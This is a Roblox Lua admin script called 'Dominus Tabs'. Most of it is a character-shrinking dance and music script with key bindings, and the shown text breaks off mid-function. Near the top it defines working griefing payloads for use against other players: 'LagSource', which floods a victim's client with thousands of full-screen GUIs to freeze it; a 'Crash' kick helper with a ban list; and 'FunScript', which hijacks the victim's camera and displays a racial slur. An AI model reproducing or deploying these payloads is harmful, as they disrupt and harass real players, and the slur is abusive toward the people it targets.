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- --Welcome To Dominus Tabs!
- --Created by LuaScripterSB and thebuilder307
- --Dont take credit for this sript
- --This script is not an FM or a pastebin
- --kbai, nau
- Music = { }
- Music["Talk Dirty"] = 148952593
- Music["Nana"] = 155425213
- Music["Fancy"] = 151667588
- Music["Chamillionaire Ridin Dirty "] = 143735700
- Music["Raining Tacos "] = 151430448
- Music["Drop The World"] = 153445566
- Music["No hands"] = 143279678
- Music["Happy"] = 154622509
- Music["LMFAO Shots"] = 151430448
- Music["Opps I farted"] = 130798484
- Music["Thrift Shop"] = 135213728
- Music["Rack City Audio"] = 41495944
- Music["Everything is Awesome"] = 154618552
- Music["FUS RO DAH"] = 130776150
- Music["Drop That NaeNae Everyone!"] = 146054931
- Music["Turn Down For What"] = 143959455
- wait ()
- LocalPlayer = game:service("Players").LocalPlayer
- script.Parent = __DOMINUS__
- Tabs = {}
- Cmds = {}
- key = "/"
- chatgui = false
- probemode = false
- Safe = "thebuilder307"
- connection = nil
- Updates = " No New Current Updates, Sorry :c"
- --not sure if it will work.
- --BRanks = -1 = Kick, -2 = Lag, -3 = Mute, -4 = Rejoin
- tabmodel = Instance.new("Model", Workspace)
- tabmodel.Name = "Dominus tabs"
- SourceName = "DSource"
- Banlist = {"hibeyblade","iKrypto"}
- function Crash(name)
- name = tostring(name or "nil")
- local t = Instance.new("StringValue")
- t.Name = "DISC: "..name
- t.Parent = game.Lighting
- game:GetService("Debris"):AddItem(t,1)
- end
- LagSource = [==[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "LAGGING"
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]==]
- FunScript = [[
- LP = game:service'Players'.LocalPlayer
- Shapes = {"Ball", "Block"}
- wait()
- script.Parent = nil
- Delay(0, function()
- while wait() do
- workspace.CurrentCamera.CameraType = "Scriptable"
- workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
- workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
- workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- local Part = Instance.new("Part", workspace.CurrentCamera)
- Part.Shape = Shapes[math.random(1, 2)]
- Part.Anchored = true
- Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
- Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
- Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
- local Smoke = Instance.new("Smoke", Part)
- Smoke.Color = Color3.new(math.random(), math.random(), math.random())
- Smoke.Opacity = 0.7
- local Sparkles = Instance.new("Sparkles", Part)
- Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
- local Fire = Instance.new("Fire", Part)
- Fire.Color = Color3.new(math.random(), math.random(), math.random())
- Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
- local Ex = Instance.new("Explosion", workspace.CurrentCamera)
- Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
- Ex.BlastPressure = 15
- Ex.BlastRadius = 12.5
- if not workspace.CurrentCamera:findFirstChild("Hint") then
- local mes = Instance.new("Hint", workspace.CurrentCamera)
- mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
- end
- end
- end)
- ]]
- MiniPeepScript = [[
- local ran,err = ypcall(function()
- plr = game:service'Players'.LocalPlayer
- char = plr.Character
- mouse = plr:GetMouse()
- humanoid = char:findFirstChild("Humanoid")
- torso = char:findFirstChild("Torso")
- head = char.Head
- ra = char:findFirstChild("Right Arm")
- la = char:findFirstChild("Left Arm")
- rl = char:findFirstChild("Right Leg")
- ll = char:findFirstChild("Left Leg")
- rs = torso:findFirstChild("Right Shoulder")
- ls = torso:findFirstChild("Left Shoulder")
- rh = torso:findFirstChild("Right Hip")
- lh = torso:findFirstChild("Left Hip")
- neck = torso:findFirstChild("Neck")
- rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- anim = char:findFirstChild("Animate")
- rootpart = char:findFirstChild("HumanoidRootPart")
- camera = workspace.CurrentCamera
- if anim then
- anim:Destroy()
- end
- rj.C0 = CFrame.new()
- rj.C1 = CFrame.new()
- super_annoying = Instance.new("Sound", head)
- super_annoying.SoundId = "http://www.roblox.com/asset/?id=164161056"
- super_annoying.Volume = 1
- super_annoying.Looped = true
- uni = Instance.new("Sound", head)
- uni.SoundId = "http://www.roblox.com/asset/?id=145105874"
- uni.Volume = 1
- uni.Looped = true
- ann = Instance.new("Sound", head)
- ann.SoundId = "http://www.roblox.com/asset/?id=150199842"
- ann.Volume = 1
- ann.Looped = true
- fwutters = Instance.new("Sound", head)
- fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355"
- fwutters.Volume = 1
- fwutters.Looped = true
- loll = Instance.new("Sound", head)
- loll.SoundId = "http://www.roblox.com/asset/?id=142599461"
- loll.Volume = 1
- loll.Looped = true
- land_of_swords = Instance.new("Sound", head)
- land_of_swords.SoundId = "http://www.roblox.com/asset/?id=145170576"
- land_of_swords.Volume = 1
- land_of_swords.Looped = true
- qq = Instance.new("Sound", head)
- qq.SoundId = "http://www.roblox.com/asset/?id=142295308"
- qq.Volume = 1
- qq.Looped = true
- doge = Instance.new("Sound", head)
- doge.SoundId = "http://www.roblox.com/asset/?id=138213729"
- doge.Volume = 1
- doge.Looped = true
- nyan = Instance.new("Sound", head)
- nyan.SoundId = "http://www.roblox.com/asset/?id=142332086"
- nyan.Volume = 1
- nyan.Looped = true
- sctmn = Instance.new("Sound", head)
- sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887"
- sctmn.Volume = 1
- sctmn.Looped = true
- barrel_roll = Instance.new("Sound", head)
- barrel_roll.SoundId = "http://www.roblox.com/asset/?id=143735700"
- barrel_roll.Volume = 1
- barrel_roll.Looped = true
- dubstep_gun = Instance.new("Sound", head)
- dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=148457569"
- dubstep_gun.Volume = 1.5
- dubstep_gun.Looped = true
- you_are_pirate = Instance.new("Sound", head)
- you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=148896147"
- you_are_pirate.Volume = 1
- you_are_pirate.Looped = true
- cant_touch = Instance.new("Sound", head)
- cant_touch.SoundId = "http://www.roblox.com/asset/?id=163867583"
- cant_touch.Volume = 1
- cant_touch.Looped = true
- gangy_style = Instance.new("Sound", head)
- gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430"
- gangy_style.Volume = 1
- gangy_style.Looped = true
- fox_say = Instance.new("Sound", head)
- fox_say.SoundId = "http://www.roblox.com/asset/?id=143110546"
- fox_say.Volume = 1
- fox_say.Looped = true
- durk = Instance.new("Sound", head)
- durk.SoundId = "http://www.roblox.com/asset/?id=144373608"
- durk.Volume = 1
- durk.Looped = true
- sax_guy = Instance.new("Sound", head)
- sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
- sax_guy.Volume = 1
- sax_guy.Looped = true
- heman = Instance.new("Sound", head)
- heman.SoundId = "http://www.roblox.com/asset/?id=145144013"
- heman.Volume = 1
- heman.Looped = true
- justin = Instance.new("Sound", head)
- justin.SoundId = "http://www.roblox.com/asset/?id=157207595"
- justin.Volume = 1
- justin.Looped = true
- brony_music = Instance.new("Sound", head)
- brony_music.SoundId = "http://www.roblox.com/asset/?id=144194368"
- brony_music.Volume = 1
- brony_music.Looped = true
- spitfire = Instance.new("Sound", head)
- spitfire.SoundId = "http://www.roblox.com/asset/?id=145934228"
- spitfire.Volume = 1
- spitfire.Looped = true
- burn_dem = Instance.new("Sound", head)
- burn_dem.SoundId = "http://www.roblox.com/asset/?id=146599028"
- burn_dem.Volume = 1
- burn_dem.Looped = true
- cant = Instance.new("Sound", head)
- cant.SoundId = "http://www.roblox.com/asset/?id=131122314"
- cant.Volume = 1
- cant.Looped = true
- if char:findFirstChild("Shirt") then
- char:findFirstChild("Shirt"):Destroy()
- end
- if char:findFirstChild("Pants") then
- char:findFirstChild("Pants"):Destroy()
- end
- if char:findFirstChild("Shirt Graphic") then
- char:findFirstChild("Shirt Graphic"):Destroy()
- end
- Instance.new("HumanoidController", game:service'ControllerService')
- Instance.new("SkateboardController", game:service'ControllerService')
- Instance.new("VehicleController", game:service'ControllerService')
- rh.Parent = nil
- lh.Parent = nil
- rs.Parent = nil
- ls.Parent = nil
- neck.Parent = nil
- rj.Parent = nil
- rl.FormFactor = "Custom"
- ll.FormFactor = "Custom"
- ra.FormFactor = "Custom"
- la.FormFactor = "Custom"
- torso.FormFactor = "Custom"
- head.FormFactor = "Custom"
- rootpart.FormFactor = "Custom"
- rootpart.Size = Vector3.new(.4, .4, .2)
- rl.Size = Vector3.new(.2, .4, .2)
- ll.Size = Vector3.new(.2, .4, .2)
- ra.Size = Vector3.new(.2, .4, .2)
- la.Size = Vector3.new(.2, .4, .2)
- torso.Size = Vector3.new(.4, .4, .2)
- head.Size = Vector3.new(.4, .2, .2)
- rh.Parent = torso
- lh.Parent = torso
- rs.Parent = torso
- ls.Parent = torso
- neck.Parent = torso
- rj.Parent = rootpart
- if torso:findFirstChild("roblox") then
- local p = Instance.new("Part", char)
- p.FormFactor = "Custom"
- p.Size = torso.Size
- p.Transparency = 1
- p:BreakJoints()
- local w = Instance.new("Weld", char)
- w.Part0 = p
- w.Part1 = torso
- torso:findFirstChild("roblox").Parent = p
- end
- mesh1 = Instance.new("SpecialMesh", torso)
- mesh1.Name = "Mesh"
- mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
- mesh1.MeshId = "rbxasset://fonts/torso.mesh"
- mesh2 = Instance.new("SpecialMesh", la)
- mesh2.Name = "Mesh"
- mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
- mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
- mesh3 = Instance.new("SpecialMesh", ra)
- mesh3.Name = "Mesh"
- mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
- mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
- mesh4 = Instance.new("SpecialMesh", ll)
- mesh4.Name = "Mesh"
- mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
- mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
- mesh5 = Instance.new("SpecialMesh", rl)
- mesh5.Name = "Mesh"
- mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
- mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
- ls.C0 = CFrame.new(-.3,.1,0)
- ls.C1 = CFrame.new(0,.1,0)
- rs.C0 = CFrame.new(.3,.1,0)
- rs.C1 = CFrame.new(0,.1,0)
- rh.C0 = CFrame.new(.1,-.2,0)
- rh.C1 = CFrame.new(0, .2, 0)
- lh.C0 = CFrame.new(-.1,-.2,0)
- lh.C1 = CFrame.new(0, .2, 0)
- neck.C0 = CFrame.new(0,.2,0)
- neck.C1 = CFrame.new(0,-.1,0)
- bodyc = char:findFirstChild("Body Colors")
- if bodyc then
- bodyc:Destroy()
- end
- wait(0.1)
- skincolor = {"Pastel brown"}
- clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
- skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
- clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
- function restorecolors()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = skincolorrandom
- end
- end
- torso.BrickColor = clothcolorrandom
- ll.BrickColor = clothcolorrandom
- rl.BrickColor = clothcolorrandom
- end
- restorecolors()
- local LightForTorso = Instance.new("PointLight", head)
- LightForTorso.Range = 15
- LightForTorso.Brightness = 20
- coroutine.wrap(function()
- while LightForTorso ~= nil do
- LightForTorso.Color = Color3.new(math.random(), math.random(), math.random())
- wait(0.3)
- end
- end)()
- local slidecount = 0
- local slidecountmax = 0
- local anim = ""
- local lastanim = anim
- local speed = 0
- local looking = false
- local dancing = false
- local superannoying = false
- local barrelroll = false
- local dubstepgun = false
- local foxie = false
- local durka = false
- local saxguy = false
- local heya = false
- local jb = false
- local bronymusic = false
- local sheddy = false
- local burndem = false
- local canttt = false
- local global_wait = 0
- count = 0
- countspeed = 1
- sine = 0
- sinespeed = 1
- humanoid.WalkSpeed = 20
- local controllerService = game:GetService("ControllerService")
- local controller = controllerService:GetChildren()[1]
- local colors = {"Really blue", "Lime green","Really blue","Lime green","Really blue","Lime green","Really blue","Lime green","Really blue","Lime green"}
- humanoid.Died:connect(function()
- for cframe_parts = 0, 100 do
- local p = Instance.new("Part")
- p.FormFactor = "Custom"
- p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
- p.Size = Vector3.new(1, 1, 1)
- Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
- p.Locked = true
- p.CanCollide = false
- p.Anchored = true
- p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
- p.Parent = workspace
- game:service'Debris':AddItem(p, 5)
- coroutine.wrap(function()
- while wait() do
- if p ~= nil then
- p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
- p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
- p.Transparency = p.Transparency + 0.015
- else
- break
- end
- end
- end)()
- end
- for _,v in pairs(char:children()) do
- if v:IsA("Part") then
- v:Destroy()
- end
- end
- end)
- mouse.KeyDown:connect(function(k)
- if string.byte(k) == 50 then
- if dancing then return end
- sitting = not sitting
- if sitting then
- local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
- local hitz,enz = workspace:FindPartOnRay(ray, char)
- if hitz then
- controller.Parent = nil
- humanoid.WalkSpeed = 0
- coroutine.wrap(function()
- while wait() do
- humanoid.PlatformStand = true
- if sitting == false then humanoid.PlatformStand = false break end
- end
- end)()
- rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
- miniweld = Instance.new("Weld", char)
- miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
- miniweld.Part0 = hitz
- miniweld.Part1 = rootpart
- else
- sitting = false
- return
- end
- else
- if miniweld then
- miniweld:Destroy()
- end
- controller.Parent = controllerService
- humanoid.PlatformStand = false
- humanoid.WalkSpeed = 30
- end
- end
- if string.byte(k) == 32 then
- fwutters:Stop()
- uni:Stop()
- loll:Stop()
- qq:Stop()
- ann:Stop()
- nyan:Stop()
- sctmn:Stop()
- cant:Stop()
- superannoying = false
- barrelroll = false
- heya = false
- dubstepgun = false
- youpirate = false
- canttouch = false
- gangnam = false
- sheddy = false
- durka = false
- saxguy = false
- foxie = false
- burndem = false
- bronymusic = false
- canttt = false
- land_of_swords:stop()
- brony_music:stop()
- fox_say:stop()
- spitfire:stop()
- heman:stop()
- doge:Stop()
- justin:stop()
- jb = false
- durk:stop()
- restorecolors()
- burn_dem:stop()
- if hat then
- hat:Destroy()
- end
- sax_guy:stop()
- gangy_style:stop()
- cant_touch:stop()
- you_are_pirate:stop()
- dubstep_gun:stop()
- super_annoying:stop()
- barrel_roll:stop()
- dancing = false
- global_wait = 0
- LightForTorso.Color = torso.BrickColor.Color
- end
- if k == "z" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Pinkie Pie's Theme!",0)
- jb = true
- super_annoying:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.2, 0)
- end
- end
- if k == "=" then
- if dancing then return end
- if not sitting then
- dancing = true
- canttt = true
- cant:play()
- game:GetService("Chat"):Chat(head,"Can't touch me!",0)
- end
- end
- if k == "u" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"I'm a scat man!",0)
- saxguy = true
- sctmn:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=43996479"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=43997070"
- hatmesh.Scale = Vector3.new(.0925, .0925, .0925)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "k" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Drop It!",0)
- sheddy = true
- spitfire:play()
- end
- end
- if k == "[" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Happy!",0)
- foxie = true
- land_of_swords:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=13640868"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=13640869"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "p" then
- if dancing then return end
- if not sitting then
- dancing = true
- foxie = true
- game:GetService("Chat"):Chat(head,"It's raining tacos!",0)
- qq:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=14846869"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=14846834"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == ";" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Winter Wrap Up!",0)
- heya = true
- uni:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=84003494"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=83992632"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "n" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Gangnam Style!",0)
- gangnam = true
- gangy_style:play()
- end
- end
- if k == "t" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"#Best Teacher!",0)
- heya = true
- ann:play()
- end
- end
- if k == "-" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"TRUX YEAH!!",0)
- heya = true
- loll:play()
- end
- end
- if k == "r" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Love is in Bloom!",0)
- burndem = true
- burn_dem:play()
- end
- end
- if k == "x" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"They See Me Rollin'!",0)
- barrelroll = true
- barrel_roll:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = torso.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
- hatmesh.Scale = Vector3.new(.22, .2, .22)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = torso
- end
- end
- if k == "h" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,":D",0)
- heman:play()
- heya = true
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Hot pink")
- hat:breakJoints()
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = torso
- end
- end
- if k == "j" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Luna! >:o",0)
- justin:play()
- jb = true
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Hot pink")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.Scale = Vector3.new(.23, .23, .23)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0.025, -0.05, 0)
- end
- end
- if k == "'" then
- if dancing then return end
- if not sitting then
- dancing = true
- fwutters:play()
- game:GetService("Chat"):Chat(head,"Da Fwutters!",0)
- bronymusic = true
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Cool yellow")
- end
- end
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Cool yellow")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=82348513"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=36527326"
- hatmesh.Scale = Vector3.new(.28, .28, .28)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0.025, 0, 0)
- end
- end
- if k == "c" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Yay!",0)
- dubstepgun = true
- dubstep_gun:play()
- end
- end
- if k == "v" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"What a Strange New World!",0)
- youpirate = true
- you_are_pirate:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=nope"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.15, 0)
- end
- end
- if k == "m" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Fluttershy's Theme!",0)
- canttouch = true
- cant_touch:play()
- end
- end
- if k == "b" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Come on and SMILE!",0)
- bronymusic = true
- brony_music:play()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Pink")
- end
- end
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Lavender")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192"
- hatmesh.Scale = Vector3.new(.25, .25, .45)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.1, 0.05)
- end
- end
- if k == "y" then
- if dancing then return end
- if not sitting then
- dancing = true
- bronymusic = true
- nyan:play()
- for _,bp in pairs(char:children()) do
- if bp:IsA("BasePart") then
- bp.BrickColor = BrickColor.new("Dark stone grey")
- end
- end
- game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0)
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat.BrickColor = BrickColor.new("Dark stone grey")
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031"
- hatmesh.Scale = Vector3.new(.2, .30, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.15, 0.05)
- end
- end
- if k == "l" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"wot fox sey?!",0)
- foxie = true
- fox_say:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
- hatmesh.Scale = Vector3.new(.2, .2, .2)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = head
- hatweld.C0 = CFrame.new(0, -0.1, 0)
- end
- end
- if k == "f" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Rainbow Factory!",0)
- durka = true
- durk:play()
- end
- end
- if k == "g" then
- if dancing then return end
- if not sitting then
- dancing = true
- game:GetService("Chat"):Chat(head,"Now for some more music",0)
- saxguy = true
- sax_guy:play()
- hat = Instance.new("Part", char)
- hat.FormFactor = "Custom"
- hat.CanCollide = false
- hat.Size = head.Size
- hat.Locked = true
- hat:breakJoints()
- local hatmesh = Instance.new("SpecialMesh", hat)
- hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
- hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
- hatmesh.Scale = Vector3.new(.25, .25, .25)
- local hatweld = Instance.new("Weld", hat)
- hatweld.Part0 = hat
- hatweld.Part1 = la
- hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
- end
- end
- if k == "q" then
- if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
- if sitting then return end
- looking = true
- game:GetService("Chat"):Chat(head,"I'm just tiltin",0)
- rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
- end
- if k == "e" then
- if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
- if sitting then return end
- looking = true
- game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0)
- rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
- end
- if string.byte(k) == 48 or string.byte(k) == 47 then
- if sitting then return end
- humanoid.WalkSpeed = 30
- end
- if string.byte(k) == 52 then
- if sitting then return end
- humanoid.WalkSpeed = 10
- end
- end)
- mouse.KeyUp:connect(function(k)
- if string.byte(k) == 48 or string.byte(k) == 47 then
- if sitting then return end
- humanoid.WalkSpeed = 20
- end
- if string.byte(k) == 32 then
- game:GetService("Chat"):Chat(head,"Party's over! For now...",0)
- superannoying = false
- barrelroll = false
- heya = false
- dubstepgun = false
- youpirate = false
- canttouch = false
- gangnam = false
